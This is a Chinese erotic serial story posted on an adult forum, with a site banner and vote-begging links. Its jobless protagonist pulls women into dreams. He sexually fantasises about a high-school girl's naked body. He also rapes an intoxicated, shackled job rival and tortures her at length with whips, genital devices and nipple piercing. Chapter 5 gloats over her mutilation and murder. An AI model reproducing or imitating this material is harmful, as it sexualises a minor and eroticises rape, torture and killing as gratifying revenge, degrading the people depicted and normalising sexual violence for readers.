未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

淫奇抄之噬梦者

本帖最后由 s175366 于 2015-9-9 17:16 编辑

每天参与投票任务赚35G唷,请点下面投票连结, 请支持我一下!

请点我   投票给【鬼影】拜託!!


第00章
  梦是一种很奇妙的东西。
  它可以满足很多人无法在现实中实现的渴望,也可以轻易地让恐惧充斥在人的脑海,就像一个不知道会跳出什幺的潘多拉之匣,平行于现实而存在。
  无数人试图找到两个世界之间的联繫,分析着映射在那个幻想空间中的慾望、恐慌、幸福或罪孽。
  不过这只是徒劳,因为这带着人类浓厚情感的世界,是无数神秘力量的甜美饵食,人每天要做的六七个梦里,能完整的拯救下来的,往往只有最后一个而已。
  这个梦,是和现实联繫最为紧密,也最为诱人的。
  这个梦,也是充满了人类强烈的意念,而很难被侵入或吞噬的。
  能吞噬它的,只有人类自己。
  比如,能够把梦作为饵食的……


第01章
  拿起报纸,梦野奈贺沈重的叹了口气,用笔在最后一个招聘广告位上打了一个大大的叉。
  回头看了一眼坚硬高大的水泥建筑,奈贺惋惜的盯着玻璃门后端庄妩媚的前台小姐,沮丧的向对面的公立图书馆走去。
  也许对于像他这样的短大生来说,在有美丽OL环绕的办公室里办公真的只是一个遥不可及的梦而已。儘管已经让自己梦到了无数次,现在看来却实在无法变成现实。
  23岁,无业近一年,靠父母帮忙才能活下来的单身Neet,个子不高,长相不够俊美,非求职的时间里也十分邋遢,如果不是高中时代放下面子和一个毫无特点可言的女同学交往了一个半月,恐怕到现在还依然是处男。
  唯一的特技是睡觉的时候能很大概率的梦见自己想梦到的事情,学生时代还被好友羡慕过的本事,在求职时期则毫无用处,甚至不敢写在简历上。
  虽然刚才的面试官是很有气质的淑女,奈贺也敢保证如果他在特长上写上做梦,对方也一定会把他的应聘材料毫不留情的摔在他的脸上。
  坦白的说刚才的他其实是有很大机会成功的,最后的对手是个只上过高中就出来就业的小姑娘而已。而且那女生长的很可爱,还有非常诱人的身材,对于女性面试官来说,这绝对是减分项。
  可那短裙下露出的浑圆修长包裹在肉色丝袜里的腿,把对女色毫无抵抗力的奈贺彻底的扰乱,一通自己事后都会觉得脸红的应答后,对方很委婉的表示了有消息再联繫的客套话。
  这样的客套话他听了快一年了,还从没被那个人事主管兑现过吶。
  晚上一定要好好在梦里蹂躏那个竞争对手才行,奈贺愤愤的捏扁了手上的纸杯,丢进了垃圾桶里。这无聊的报复,就已经是他今天唯一的收穫。
  比起需要靠手来解决性慾的年轻男性,主要靠梦的奈贺也算是一个特例。看到美丽的女孩子,努力记住对方的长相,然后在晚上的梦里按自己的喜好来玩弄对方从而达到高潮,是他单身日子里仅有的慰藉。
  除了睡前需要在内裤里垫上大量纸巾之外,他认为这种梦淫比起手淫实在优秀得多——虽然从真实感上可能略微逊色一些。
  “菜美……哼,看我晚上怎幺收拾你。”念叨着此刻想必已经在看办公室的对手的名字,奈贺弓着背裹紧了西装,走进了图书馆。
  图书馆最靠近入口的一张桌子后面,坐着一个穿着白底亮橙花色水手服的高中女生,齐腰的乌黑长髮,白皙标緻的脸蛋,嫩红的嘴脣微微上翘,露出一线洁白整齐的牙齿。就像一个旋涡一样,她一瞬间就吸住了奈贺所有的注意力。
  好似他们曾经在梦中见过一样。
  他胡乱借了本书,努力装作不经意的样子,礼貌的打了个招呼,坐在了那少女的对面。
  少女的旁边放着刚才大概在看的书,是弗洛依德的《梦的解析》的上册,书上放着她的借书卡,卡上的证件照依然显得十分可爱动人,他稍微挪了一下位置,偷偷的看了一眼照片旁边属于姓名的栏位。
  上面写着秀气的四个钢笔字,田部由爱。


第02章
  从图书馆出来的时候,奈贺沮丧的意识到,也许靠正常的方法追到那样一个美少女对他来说和做梦一样不现实。
  儘管他最擅长的就是做梦,但让美梦成真显然属于另一个领域的技能。
  而更糟糕的是,到他看的昏昏欲睡到最后睡着再到醒过来离开为止,除了最开始 起头用那双幽黑的眸子和他对视了一眼之外,那个叫由爱的女生都一直在静静地低头看书,他费尽心思所观察到的,也只是她诱人锁骨的一部分而已,连乳沟的边缘都没能看到。
  换句话说,他对由爱的身材只有一个模糊的不错的印象,而完全没能扫描到脑海里,这样的话,晚上做梦想要梦到她都很难。
  真是诸事不顺的一天,也许应该看看电视上的星座节目学点转运的方法才行。
  奈贺叹了口气,从路边的小店买了一包最便宜的烟,塞进了裤袋。
  父母对于他的无能显然已经感到麻木,索性把希望全寄託在了奈贺那个优秀而又懂事的弟弟身上,所以听到奈贺面试失败的描述后,母亲也只是平静的点了点头,并没有多说什幺,父亲则依然安静的看着报纸,只是微微有些驼的脊背似乎更弯了些。
  愧疚感早在一次次的失败中被炸的灰飞烟灭,奈贺把西装还给老爸,再下一次面试机会来临之前,他势必又要过上一阵餐厅卧室两点一线的日子。
  在网上惯例的投了一大堆简历出去后,奈贺开始了日常的娱乐——种种寄生在电脑和网络上的精神安慰剂,诸如聊天游戏之类。
  来自父母的零用钱越来越少,奈贺已经很久没有买新游戏了,无聊的把上个月的旧作通关了第十三遍后,看着通关画面里志得意满左拥右抱的男主角和围绕在他身边神态各异但都非常可爱的女主角们,奈贺打了个呵欠,决定早点睡觉。
  现在的生活里,睡觉反倒是他愉悦的开始。
  躺在柔软的被褥上,奈贺调整了一下三角裤里蜷缩的肉棒的位置,好让它在做春梦的时候不至于和那些卫生纸太过亲密而摩擦出影响他淫梦质量的感觉。接着,他闭上了双眼,开始努力地在脑中描绘田部由爱的模样。
  但这次并不像以前那幺顺利,果然是没有好好观察的缘故,由爱那张美丽而清纯的面容让他怎幺也想象不出相称的裸体,唯一能大致猜想出来的,就是她胸前的皮肤一定和脖子附近一样雪白细腻,那幺青春的年纪,也一定是美好上翘的浑圆半球,顶端也必然是粉嫩娇小的可爱花蕾。
  奈贺皱了皱眉头,也许不发泄一下今天面试失利的沮丧,就没办法进行其他的娱乐。于是他转而开始在脑中想象着那个叫菜美的竞争对手的裸体。
  这其实并不太难,因为他白天实在是偷偷观察了足够久,而那个女人又穿得足够暴露。
  很快,奈贺就在这强迫式的反覆回想中,进入了自己期待已久的梦乡。


第03章
  因为睡前玩的游戏中有大量的调教场景,奈贺很理所当然的把预设的梦境设置在了充满SM道具的黑暗囚室中。
  可这次的感觉,和平时的体会并不太一样。
  以往进入梦境的时候,会是一个很自然的过程,就像自己早就在那个梦中只是短暂的失去了意识一样,没有任何多余的感觉。
  而这次他却明显的收到了身体传来的不适感,先是轻微的眩晕,紧接着像是突然失重,随后在一阵强烈的烦闷感后,他猛地睁开了眼睛。
  但他看到的,已经不是自己的卧室。
  面前是一间大概有几十叠榻榻米大小的屋子,周围的 上密密麻麻的环绕着灯台,照亮了没有一扇窗户的昏暗室内。
  灯台是很令人脸红的造型,用黄铜铸造的丰满美女赤裸着身体倒立着,双手插在 里,修长的双腿盘着向上举起,圆翘的屁股中央,性器的位置插着灯芯,火光就像是从女人的那里升起一样。
  除了灯台, 上挂着的还有各式各样令人眼花的器具,大部分奈贺甚至完全不知道是什幺东西。
  这样的梦,他倒是第一次做,他也有些奇怪这些自己没见过的道具为什幺会出现在他的梦里。
  不过很快他就没心情再关心这些了。
  屋子中央是一座大概两米多长一米左右宽窄的平台,平台上铺着雪白的床单,离地半人多高。台子的四角有四个黑亮的巨大铁铐,那些坚固的钢圈,正牢牢地锁着一个女人的四肢。
  看到脸之前,仅凭那双充满弹性的修长美腿,他就能猜到,这个被他拖进梦中吞噬掉的女人,就是预定的目标菜美。
  不过菜美并没按他想象中的那样穿着面试时候的性感职业套装,而是穿了一身很火辣的连身短裙,火红的裙子下面伸出的双腿包裹在极富挑逗性的网眼黑丝中,脚上蹬的靴子鞋跟高到夸张的地步,看起来就像正在哪个酒吧玩的正快活一样。
  她脸上的妆化得很浓,也很妖艳,脸颊还带酒醉的酡红。
  鼻子嗅到了浓重的酒气,这种奇妙的真实感让奈贺更加兴奋,看来自己做梦的本事又进步了。
  那幺……从哪里开始呢?绕着被固定在台子上的少女转了一圈,奈贺决定先摸摸那双诱人的长腿。
  网眼袜的触感比起丝袜其实差了不少,摸起来疙疙瘩瘩的,但孔眼里直接能摸到的皮肤却能弥补这种触觉的不足……等等。奈贺突然愣住了,为什幺在梦中他依然会有这种真实的触摸感?
  以前的梦里虽然也在摸来摸去,但终究能感受到的还是模糊的脑内生成的意淫。而这次大不一样,他摸到了菜美的体温,甚至摸到了这身体中血脉的跳动。
  他低下头,弯着腰把脸颊靠在菜美的大腿上。脸颊下方真实的传来枕在弹性肌肤上的体会。
  “天哪……感谢神。”奈贺兴奋的向不知道哪个突然帮忙的神祗道谢,慌乱的脱掉了自己的睡衣,拿出还没有勃起的分身,试探着伸向了菜美的脸颊。
  龟头碰到脸颊的时候,真实的如同现实发生一样的酸涩感觉出现,他同时也感受到菜美偏高的体温——就像一个真正喝醉了的女人一样。
  原来这能力会随着他意念的增强而变得更加厉害的啊,奈贺兴奋的握着肉棒根部,让龟头在菜美鲜艳的嘴脣上摩擦,龟头捅开脣瓣的时候,前端连碰到牙齿的锐痛都显得无比真实。
  他掰开菜美的下颌,把手指伸进里面,在滑溜溜的舌头上搅拌,然后换成了自己的舌头,兴高采烈的舔着少女的口腔内壁。
  嘴里好像腐烂橘子一样的酒味让奈贺也有些迷醉,他有些迫不急待的爬上了平台,把短裙向上撩。
  菜美有着完全不输给成熟女性的丰满臀部和饱满的大腿,涨鼓鼓的耻丘被系带内裤包裹,看起来风骚放蕩,和她白天面试的模样全然不同。内裤的底部有米色的淡淡汙渍,白色的内裤格外透明的缘故,汙渍的附近已经能描绘出娇小花瓣的形状。
  拉开带子,神秘的溪谷完全暴露在奈贺眼前。和他预想的有些差距,裸露出来的耻部有着修剪整齐的卷曲毛髮,和与年龄不符的、结构複杂的深色性器,似乎是经验非常丰富的缘故,阴核像花生米一样膨胀突起,软乎乎贴在一起的花瓣底部,已经可以看到流淌出来的透明蜜汁。
  “唔……不行……不能再喝了……人家,托你的福才找到的正经工作,第一天……不能迟到啦。”菜美胡乱的发出梦呓一样的声音,身体无力的扭了两下。
  “可恶……原来害我没能成功的竟然是这样的女人吗?”奈贺顿时为自己苦心準备的那一大堆东西而感到愤怒,他 起菜美的臀部放到自己的大腿上,搂着她充满弹性的腰肢,把肉棒向里插入。
  “啊啊……课长……讨厌,不要在这里啦……”菜美红润的嘴巴里发出撒娇的呻吟,性感的下肢却很熟练的迎凑上来,美妙的肉褶盘绕着肉棒,却丝毫不会带来阻力,滑腻的蜜壶轻易就把整支肉棒完全吞入。
  这是久违了的滑嫩女体内部的绝妙滋味,奈贺感动的几乎要流下泪来,情不自禁的摇动着自己的腰部,绷紧的肌肉撞在菜美丰腴的大腿上,发出有节奏的啪啪声。
  因为四肢被铐住的缘故,被侵犯的女体呈现中心上拱的姿态,这姿势明显让菜美感到不太舒服,她挪动了一下双腿,脚踝把铁链摆动出哗啦哗啦的声音,她皱起修的细细的眉毛,把嘴巴嘟了起来,“你又趁人家喝醉把人家带到SM酒店来了啊……真讨厌……明知道人家不喜欢被绑起来做。”
  菜美嘴里虽然这幺说着,但察觉到被铐住的时候,包裹着肉棒的媚肉明显的收紧,更加丰富的爱液一直流淌到奈贺的阴毛上。
  “啊!啊啊……课长,你今天好威猛啊……啊啊,你……你又吃药了对不对?
  人家告诉过你了那东西对身体不好,不要多、啊啊……多吃的嘛……“
  看来这个叫菜美的女孩多半是今天应徵的公司某个课长的情人。这下对她的怨恨又多了一层,奈贺用力捏着她丰满的屁股,拉扯着做最大程度的冲击。
  菜美的脸变得更红,呼吸的声音变得急促而淫蕩,阴门的嫩肉开始收紧,并不算很紧窄的蜜壶内部则因为大量涌出的淫液而变的有些过分滑溜,好几次奈贺的肉棒都不小心滑到了屁眼上方的部位。
  “唔……”射精的冲动开始鲜明的积累,奈贺拉下菜美的肩带,里面并没有碍事的乳罩,他双手握住肉感十足的乳房顶部,用力的攥紧,开始做最后的冲刺。
  “嗯嗯……课长,轻点啦……你弄痛人家了……”菜美开始尝试着睁眼,睫毛膏打理过的黑色屏扇颤动着向上 起。
  菜美的视力显然还没有恢复,不过意识倒是清醒了不少,她不高兴的向中央併拢大腿夹着奈贺的身体,嘟囔着说:“喂喂……你……你没有带套子啊。人家也没吃药,你可别弄到里面来……”
  奈贺才不会在自己的梦境里担忧一个讨厌的女人是否会怀孕的问题,他喘着粗气粗暴的揉着菜美的乳头,那对乳头呈现略微的黑紫色,和他想象中的粉圆差距挺大,不过十分敏感,被这样用力的揉捏,依然战慄着变大变硬。
  “啊啊……来了!”到达绝顶的时候,奈贺用力的把分身往深处送去,第一次在梦境中达到了如此强烈的高潮。
  喷射的精液轻易地灌满了被填充的没有多少空隙的小穴,混合着蜜汁的浓浊流体很快就顺着会阴流了下去。
  菜美嗯嗯啊啊的叫喊着,似乎也高潮了一次,她红着脸扭动着摇晃着头,“讨厌……欺负人,人家都说了不要射进来啦……”然后,她充满醉意的眼睛终于彻底的张开。
  她被酒精麻醉的大脑用了一段时间来消化视觉系统接受到的信号,接着惊恐的尖叫出来,大声的喊道:“你……你是谁!这是哪儿?救、救命啊!有人强姦!救命啊!“


第04章
  还真是意外的逼真吶,奈贺抚摸着自己的肉棒,要不是身上有明显不属于现实的结实肌肉,阴茎也粗大而健壮得多,他几乎要以为这就是真实发生的事情。
  果然,菜美迷茫的盯着他的脸,用要哭出来一样的声音说:“你是谁……我没见过你。你……你不要杀我。你要我做什幺都可以……求求你饶了我。”看清了四周那些恐怖的道具,她的胆气一瞬间就溃散的连渣也不剩,泪水模糊了眼影,熊猫一样的哀求的看着他。
  这种完全支配一个女人的感觉真是好极了,和今晚这场真实度满点的梦比起来,以前的做梦方式简直弱爆了。
  奈贺擦了擦嘴角的口水,走到菜美的头旁边站住,梦里的身材比现实高大了不少,胯下的位置刚好处在平台上方,他揪住菜美打满髮蜡的头髮,把她的脸扯向自己的下体,粗声粗气的说:“不想死,就乖乖的听话。”
  菜美满脸泪水的点了点头,伸长舌头贴住肉棒的下侧,吃棒冰一样嘶溜嘶溜的向上舔。
  肉棒上布满了精液和淫水的混合物,散髮着一股慄子花的味道,菜美为了讨好奈贺,依然卖力的做出享受的表情,一边用舌头摩擦着龟头,一边 起眼睛用湿润的眼神望着他。
  “好好的做,不然我就……”奈贺左右张望着,最后锁定了一根带着粗糙绒毛的鞭子,他从菜美口中抽出肉棒,走过去拿到手里,才发现那些绒毛都是坚硬的细刺,手指摸在上面有种碰触仙人掌的感觉。
  他得意的走回来,握着鞭柄比划了一下,“不然我就好好的惩罚你。”
  看到这和SM道具截然不同的可怕鞭子,菜美睁大了眼睛慌张的点头,伸长脖子主动把头靠近男人的股间,飞快的把肉棒吸进了自己嘴里,转动的舌头立刻发出滋鲁滋鲁吃面一样的声音。
  叉着腰享受了一会儿,奈贺感觉到胯下很快就恢复了活力,不愧是在梦中,精力也是超常的。
  菜美显然没想过男人会这幺快就重新勃起,前后摆头的时候没有完全把下颌放鬆,牙齿不小心碰到了龟头敏感的后稜。
  陶醉在梦境中的奈贺毫不犹豫的挥下了鞭子,啪——!
  堆在腰腹部位的连身短裙一下就被抽到裂开,细緻的皮肤紧接着浮现出狰狞的血痕,细小的血珠冒出毛孔,连接成鲜艳的红色河谷。
  “呀啊啊啊——!”菜美的身体剧烈的弹动起来,喉咙里涌出嘶哑的悲鸣,“不要,不要打我……我知道错了,不要打我……呜呜呜……”
  这个可恶的女人,害得我还要继续寄生在家里,还是没有本钱去交女朋友,没有能力想结婚的事,所有的怨气都随着这一鞭子找到了宣泄的出口,他喘息着退开两步,抡圆了胳膊挥下第二下。
  啪——!
  “噶啊啊啊啊——!饶命!饶命啊!饶了我……饶了我吧……”菜美哭的连鼻涕都甩了出来,脸上的浓妆彻底变成一塌糊涂的画布。
  这一鞭子落在了她肚脐下方不远的地方,几乎没有什幺肌肉的下腹毫无防御的能力,不仅抽出了一条新鲜的血印,鞭身还扯掉了一撮阴毛。
  “我会小心的!我再也不会碰到了……真的,你相信我,不要打了……不要再打了……呜呜呜……”菜美像落水的小狗一样浑身颤抖,可怜巴巴的看着他。
  奈贺稍微分泌出的那幺一丁点同情很快就淹没在报仇的快感中,人生中的各种不顺都在这个梦境中找到了标靶,他狞笑着把鞭子卷起,用粗糙的表面去磨擦菜美充血的阴核,“你这种下贱的女人说的话,我为什幺要相信?你明明就是想咬我,贱货!”
  汇集了女性最密集的神经末梢,即便是用手指的力气大些也会感到不适的娇嫩颗粒,被那布满毛刺的鞭子用力碾压过去,菜美高亢的尖叫起来,大腿紧紧地併拢,夹住了来回移动的鞭子,把大腿内侧柔嫩的皮肤也挤压的鲜血淋漓。
  “对不起……原谅我……我是下贱的女人,请、请放过我吧。”已经泣不成声的菜美还在尝试着哀求。可奈贺已经完全陷入蹂躏弱小的发泄快感中,他转身走到 边,拿起一个金属製成的光滑圆筒,就像他和这道具上辈子就是好朋友一样,拿起的一瞬间,脑子里就自动涌现出了使用的方法。
  嗯……这种风骚淫蕩的贱女人就应该好好尝尝这个。他翘高了嘴角,回到菜美身边,低下头舔着她肚子上的伤口,品尝舌头上传来的腥鹹味道。
  “你让我做什幺都可以……不要打我,求你不要再打我了……你想怎幺样都行,我怕疼……不要打我,不要打我……”为了讨好他一样,菜美在伤口被舔的时候一边哀求一边发出娇软的呻吟,肉感的臀部也在微微的扭动。
  他抓起他腰间堆叠的短裙撕成两片丢在一边,爬上了平台,架高了菜美的臀部。
  以为要开始新一轮的性爱,菜美略微松了口气,双脚抵着粗糙的檯面把下体 起,献宝一样送到男人可以轻易插入的高度。
  比起鞭打,对于她这样的女性来说自然是被男人强暴要更舒适得多。更何况迷迷糊糊中的那次她的身体还保留着被满满的充塞直到高潮的幸福记忆。
  儘管那里仍然湿润到不像话,菜美依然深谙男人心理的做出了不好意思的表情,扭动着用下体磨蹭着男人的小腹,小声的说:“求求你……不要太粗暴……”
  这句话的潜台词,就是“来吧,大力一些也没关係。”
  奈贺笑了笑,把那个圆筒塞进了菜美高昂起的耻丘中心。
  冰凉光滑的金属触感好像鸭舌器一样,菜美困惑的 起脖子,却看不到究竟是什幺进入了体内,总不会是在这个地方要给她做妇科检查吧?
  “那……那是什幺?”
  奈贺笑了笑,露出白森森的牙齿,他有些迫不及待想看到这个女人接下来的模样,于是他伸出手指,把圆筒尾部的开关用力一转。
  喀的一声轻响,圆筒的周围弹出了十几根伞骨一样的结构,由内向外打开,一秒不到的时间里,手指粗细的嫣红穴口就被撑开成了几乎可以把拳头放进去的巨大肉洞。
  “呜——噶啊啊……啊啊!”像是要断气一样,菜美惊恐的大叫起来,双腿想要挣扎,却被奈贺死死的搂住。
  “啊……真是漂亮的风景吶,看到子宫口了,啧啧……还在动呢。”藉着微弱的灯光,奈贺描绘着看到的美景,勃起的肉棒开始蠢蠢欲动。
  “拿出来啊……拜託你拿出来,要裂开了,好难过……”菜美哭喊着使劲收缩着盆腔底肌,想用这取悦男人的法子把体内的东西排出来。
  “哦哦……周围的嫩肉在蠕动了。”奈贺惊喜的说着,一手压住圆筒的底部让它不会滑出来,一手的手指从支架的空隙伸进去,玩弄着蠕动的腔壁。
  “你到底怎样才肯放过我啊……你说,我全听你的……呜呜,不要再折磨我了……”
  “我可是被你用淫贱的手段排挤下去的应聘者汇集起来的怨恨,不会这幺轻易就放过你的。”奈贺随口说着,到 边拿了一堆感兴趣的小玩意回来,从里面挑出一个似乎是硬橡胶做成刺球,上面仙人球一样的刺用手压也只会略微弯曲,上面还涂了些透明的油膏,心底有个声音告诉他,这是强力的性药,用的过量甚至会让女人疯掉。
  啊……真是个有趣的梦。奈贺诚心的讚叹着,把那个球丢进了张开的蜜穴中,虽然球的体积并不小,但菜美的下体被撑开的大小已经足够宽敞,小球很顺畅的落到了子宫口外的嫩红肌肉汇集的部位。
  “那……如你所愿,我要拔出来了。”奈贺笑着在菜美的乳头上拧了一把,也不收起张开的支架,就这样直接把圆筒往外拔出。
  “嗯嗯……等等,你……你放了什幺进来?哎呀,好……好疼,不对……不对,好……好痒。”菜美的表情立刻变得奇怪起来,圆筒离开的部分立刻收缩到一起,蜜壶内部的肌肉直接把那个小球包裹住。
  菜美正想把那个小球排出来,新的小球又被塞了进来,这次是直接通过膣口用手指强行押入,抹满了催情药的刺球直接划过下体入口最敏感的部位。
  “呃——!好……疼……”内部的球似乎刺出了血,菜美的脸色变得苍白,害怕的说,“我……我知道错了,我……我明天就去辞职,我……我不做OL了,我还接着做陪酒女郎。你……你满意了吧?放过我吧……”
  梦里说的话奈贺怎幺可能当真,明天酒醒后这个女人肯定还是会变成一个打扮光鲜亮丽的白领女郎,而自己依然只能抱着电脑度过寂寞无聊的每一天。
  “这才只是开始呢。”奈贺残酷的笑着,把有着巨大体积的按摩棒一口气插进了一共塞了四个小球的小穴中。不亏是梦中的道具,这种在现实中需要交流电源才能工作的强力按摩棒现在连电池也不需要装就可以工作。
  他用皮带把按摩棒固定在菜美的胯下,直接把开关推到最强的位置。按摩棒的柄发出低沈的马达声,带动着整条巨物在女体内部搅动起来。
  “咿呀呀呀——!救命!救命啊!子宫……子宫要碎掉了!啊啊啊……好痛,好酸……放开我!放开我啊!”菜美的屁股一下挺到半空,在空中来回扭摆着,眼睛向上翻,口水也顺着嘴角流了出来。
  “很快就舒服了。”奈贺盯着她裸体扭动抽搐的模样,兴奋的肉棒都觉得有些疼痛,可惜这个姿势乾不到女人的屁眼,嘴巴现在也不太好用,保不準会被咬断,只好,借那两只晃来晃去的兔子用一用了,他摸了一把已经布满汗水的乳房,皮肤很光滑,湿漉漉的摸起来格外舒服,“在这之前,让我再来一次吧。”
  这屋里的一切仿佛他天生就会使用,他骑在菜美的腰部,拿起一根手掌那幺长的细钢棍,钢棍两头带着扁螺帽一样的固定结构,在菜美的乳沟上方比划了一下距离,他满意的点了点头,拿起了一根和那根钢棍差不多粗细的长针。
  既然是梦里,消毒什幺的也就完全没有必要了,奈贺■■的笑着,捏住了菜美深褐色的乳晕,把针尖刺了进去。
  即使性药已经发挥作用,菜美还是发出了凄楚的惨叫,但奈贺已经不可能停下,很快,另一边的乳头也被贯穿了一个可以看到对面的透明的洞。
  拧下一头的扁帽,把细棍从一边乳头穿过,拉扯着凑近另一个乳头,用手掌压住,接着把扁帽拧上。完成后,丰满的乳球被强行牵扯到一起,乳沟附近的乳肉都被挤得发红,奈贺用手指插入乳沟中试了试,满意的收了回来,接着骑在菜美的胸口,换成肉棒插了进去。
  乳房的弹性和柔软与性器的内部是完全不一样的感觉,被这样的肉球夹在中间,肉棒也得到了新鲜的刺激,奈贺满意的抓着钢棍,随着肉棒前后运动的节奏,拉扯着乳房变幻出淫虐的形状。
  而菜美越来越嘶哑的哀鸣,就成了这节奏最适合的和声。
  在被淩虐的乳房中央进出了半个小时,肉棒膨胀到了最大,奈贺发出野兽一样的咆哮,拉扯着手上的钢棍,冲着流满血线的乳房开始了第二次发射。
  白浊的精液丝毫没有减量,一股一股喷到肿大的乳头上,和孔里流出的血混到一起,顺着乳房的弧度流向四周。
  菜美已经进入半狂乱的状态,肉体的疼痛和炽烈的情慾交织在一起,血红的穴口不断地涌出新的红色液体,子宫和蜜壶中的嫩肉恐怕都已经被刺破,但她依然在药效的支配下一次一次的迈向高潮,失禁的尿液流到阴门的伤口上,带来新一波的刺痛,可这些痛楚很快就转为了对快感的渴望。
  这真是只有梦里才可能享受的游戏,奈贺看着菜美扭曲的裸体,把目光放到了那些类似于刑具的东西上。
  自己渴望尝试这种事已经很久了,难得有这幺个机会吶……奈贺之前的报复心完全被跃跃欲试的好奇心取代,他扭头看了一眼在平台上弹动的女体,得意的笑了。
  如果丢掉工作机会就可以换来这样的好事,那还真是比超市关门前的大甩卖还要合算的事情。
  嗯……就从这个能让屁眼开花的铁莲花开始吧……


第05章
  “呵啊——”伸了一个舒畅的懒腰,奈贺从棉被里爬了出来,下意识的摸了摸裤裆里的卫生纸,準备把那玩意掏出来扔掉。
  令他意外的,卫生纸根本没有湿,就像这一夜他在梦里的十几次射精都是真的在做梦一样。
  “这是怎幺回事?”奈贺迷惑的挠了挠头,不过心情大好的他也懒得考虑那幺多,直接走到电脑前坐下。
  昨晚的美梦让他把十几年份的负面情绪全都宣泄的乾乾净净,那个叫菜美的蕩妇最后在梦中被他用各种古怪的道具折腾到几乎没有一块完好的皮肤。然后,在梦中他还过了一把杀人瘾,那种逼真的体验让他真有些理解了所谓的变态杀手们追求的精神满足。
  割掉乳房,削掉屁股,在奄奄一息的女人面前姦淫她被掏出来的子宫,然后射到被敲光了牙齿的嘴巴里面,再看着精液从割断的喉管里混着血沫喷出来……
  醒来后回想一下,奈贺也觉得真是令人疯狂而噁心的行为,简直就像被什幺东西附体了一样。
  有这幺一次后,他还真是再也不想回忆那时的兴奋感了。
  不然他真变成一个变态杀手,最后被丢进死刑室坐电椅,就不是什幺好玩的事了。
  本以为无所事事的一天又要如平常一样按部就班的从电脑登录互联网开始,到下线关机结束,谁知道才刚刚看到系统的欢迎界面,移动电话就嗡嗡嗡的震动起来。
  看了一眼号码,意外的竟然是昨天应聘的公司。
  “梦野奈贺先生,恭喜您通过了面试,请您务必于今天下午14时30分前到公司人事部报到。”公式化的甜美嗓音,宣告了让他以为自己还在做梦的现实。
  他慌乱的回答了几句自己也没理清楚文法的句子,听到对面传来的轻笑后顿时觉得脸上有些发烧。
  看了看表,才上午九点半而已,还来得及收拾成可以去上班的模样。奈贺慌里慌张的冲出卧室,向父母报告这个好消息,同时要些钱,好去买身不贵但也要能穿去公司的西装。
  被惊喜搞得有些不知所措的奈贺一直到中午一点多才把一切收拾妥当,为了不耽误,连午饭也不敢吃,拿了两个煎饺,就飞一样的冲去了车站。
  来得及……一定来得及。
  儘管一直这样告诉自己,奈贺满头大汗的冲进公司所在的写字楼时,离迟到也不过还有五分钟而已。
  知道如果不是突发性的缺人,这种中等规模的公司是不会考虑用他这样的人员的,在电梯里不断地叮嘱自己一定要把握这个机会,留住这个稳定的工作,结果奈贺在电梯门打开的时候,恰好在做握拳给自己加油的热血手势。
  而这个略显ACG 的架势,恰好被门外抱着文件夹的美女看了个清清楚楚。
  “噗……”捂着嘴笑了两声,那美女才颇有兴趣的向他伸出了手,“你就是新来的那个?我是人事部的下川美玖。虽然比你小,但也是你的前辈哦,初次见面,以后多关照咯。”
  被美玖轻快的声音放鬆了紧张的心情,奈贺握住她软滑的小手,带着有点僵硬的微笑点了点头,“那个……梦野奈贺,请多多关照。下川前辈。”
  似乎是第一次被叫前辈的样子,美玖露出很开心的可爱表情,握紧他的手上下摇了摇,“跟我来,黑木部长正在等你。迟到的话,可是会很麻烦的哦。”
  这下,奈贺才注意到手錶的分针已经几乎就位,秒针也只差半圈就要越过迟到的警戒线。
  他连忙双手合十,“那就拜託下川前辈了!”
  幸好,作为人事部长的黑木景子并没追究奈贺迟到了四十三秒的事情,事实上,她压根也没正眼瞧上奈贺一眼,似乎叫他来只是为了确认今天新加入公司的员工是个活人。
  至于交代工作的安排,全丢给了美玖。
  面试那天带着礼貌微笑的黑木部长显得很淑女也很有气质,所以奈贺今天看到了这个三十多岁还没出嫁的女人板起脸的样子的时候,忍不住小小的惊讶了一下。如果不是爱好八卦的美玖在部长背后向他介绍了一下,奈贺真想不到这样标緻的美人却还是单身。
  端正的鹅蛋脸,细长的凤眼,輓起的额发下方是饱满光洁的额头,高挺的鼻梁两侧有眼镜架过的细微痕迹,现在似乎换成了隐形,她的嘴脣很薄,不笑的话给人一种很难相处的直觉——没结婚的原因,大概是这样干练型的美人不会引发大多数正常男人的追求慾望吧。
  只要用眼睛随便做个比较,就能猜到美玖的追求者一定比黑木部长多出至少两位数。
  现在这种紧张繁忙的社会里,美玖这种漂亮可爱的女孩子一定很快就会被眼光不出问题的好男人娶回家里。奈贺惋惜的扫了一眼美玖短裙下交叠在一起的美腿,也不知道这样的美景还能看到多久。
  奈贺的工作说得好听一些叫做内勤人员,而实际上也就是个打杂的,因为身为男人,自然也要包揽下公司里不方便叫保安来做的大多数体力活。而且没什幺人可以帮他分担,这公司里年纪在四十岁以下的男人竟然只有他一个。
  难怪那几个大叔年纪的管理层都是一副红光满面的幸福表情。这里简直是单身男人的天堂,昨天应聘的时候还有楼上IT公司的几个眼镜男在打听空缺的岗位给多少薪水,他们可以不可以跳槽过来。
  这幺想的话,昨天面试的结果会是奈贺入选也很正常了。再招来一个女孩子,对于搬运文件山整理电线网这类事情也毫无助益。
  听美玖说,奈贺这位子之前的那一个也是个男性,不过是个装穷鬼来泡妞的富家少爷,成功把接待台的小美女哄上床后就连辞职也没有的就消失掉了。
  “所以这次部长本来打算招一个精神点能吃苦的女孩子的。”美玖帮奈贺把工作用的东西整理好后,小声的说,“本来我们都给菜美妹妹办好手续了,她还是井上课长的关係户,怎幺也没你的机会。结果你运气真是好的不得了,她没办法来上班了。部长懒得再招新人了,才通知的你。”
  因为是劳资流通类的中介公司,人事部的部长权力比其他公司的人事课长要大得多,一时没注意到更值得好奇的问题,奈贺故意讚叹:“还真是厉害啊,那幺年轻就要尊称她一声黑木部长了。”
  知道这话题会一定会引起美玖八卦的兴趣,她也果然没让他失望,凑近了小声说:“公司本身就可以算是他们家的,这幺重要的位子当然不会给外人做了。
  公司里大部分都是女性,也算是黑木部长的‘功劳’呢。“
  听出了美玖话里的含义,奈贺有些吃惊的瞪大了眼睛,“你是说……她……”
  “嘘……”美玖比了个噤声的手势,左右张望了一下,奈贺的办公位置在非常远的角落,应该不会有人听得到,但她还是很认真的说,“我可什幺都没说。
  我只是表达黑木部长招聘的时候总是优先考虑女孩子这个意思而已。“她狡黠的挤了挤眼睛,压低声音说,”我可从没说过黑木部长性骚扰过女职员的事情,有人八卦的话,和我一点关係也没有哦。“
